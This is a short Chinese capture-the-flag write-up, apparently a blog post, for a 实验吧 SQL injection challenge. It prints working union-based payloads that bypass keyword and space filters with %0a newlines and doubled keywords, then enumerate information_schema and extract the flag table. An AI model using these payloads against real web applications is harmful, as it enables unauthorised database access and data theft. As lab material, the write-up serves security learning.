实验吧之简单的sql注入1

实验吧之简单的sql注入1

进来页面:
实验吧之简单的sql注入1_第1张图片
查找注入点!输入1’报错,存在注入
实验吧之简单的sql注入1_第2张图片
输入1’ select union 1发现报错
而且报错只输出一个1
怀疑是不是select和union被过滤掉了
实验吧之简单的sql注入1_第3张图片
输入’ununionion selectselect 1–发现
实验吧之简单的sql注入1_第4张图片
说明–也被吃掉了,而且后台对于union、select进行了处理,应该是将关键词和空格一起吃掉了。
输入’union%0aselect%0a1’发现:
ps:直接加在id=后面,输入框提交会报错,我也不知道为啥(流下了没有技术的泪水)。
实验吧之简单的sql注入1_第5张图片
初步注入成功!!
'union%0aselect%0agroupgroup_concat_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand’1发现
实验吧之简单的sql注入1_第6张图片
where后面的都没了,是不是table_schema被过滤了,双写绕过试试。
ps:加在id=后面,提交还是报错,后面就直接加在id=后面了(又流下了没有技术的泪水)
实验吧之简单的sql注入1_第7张图片
看见有个flag的数据库
继续
结果发现这次过滤了很多的东西
直接输入
'union%0aselect%0agroupgroup_concat_concat(columncolumn_name_name)%0afrom%0ainformationinformation_schema.columns_schema.columns%0awhere%0atabletable_schema_schema=database()%0aand’1
得到:
实验吧之简单的sql注入1_第8张图片
接下来就是继续了
‘union%0aselect%0agroupgroup_concat_concat(columncolumn_name_name)%0afrom%0ainformationinformation_schema.columns_schema.columns%0awhere%0atabletable_schema_schema=database()%0aand%0atable_name=‘flag
得到:
实验吧之简单的sql注入1_第9张图片
最后输入1’%0aunion%0aselect%0aflag%0afrom%0aflag%0awhere%0a’1’='1
得到:实验吧之简单的sql注入1_第10张图片
得到flag。

你可能感兴趣的:(CTF题,实验吧CTF)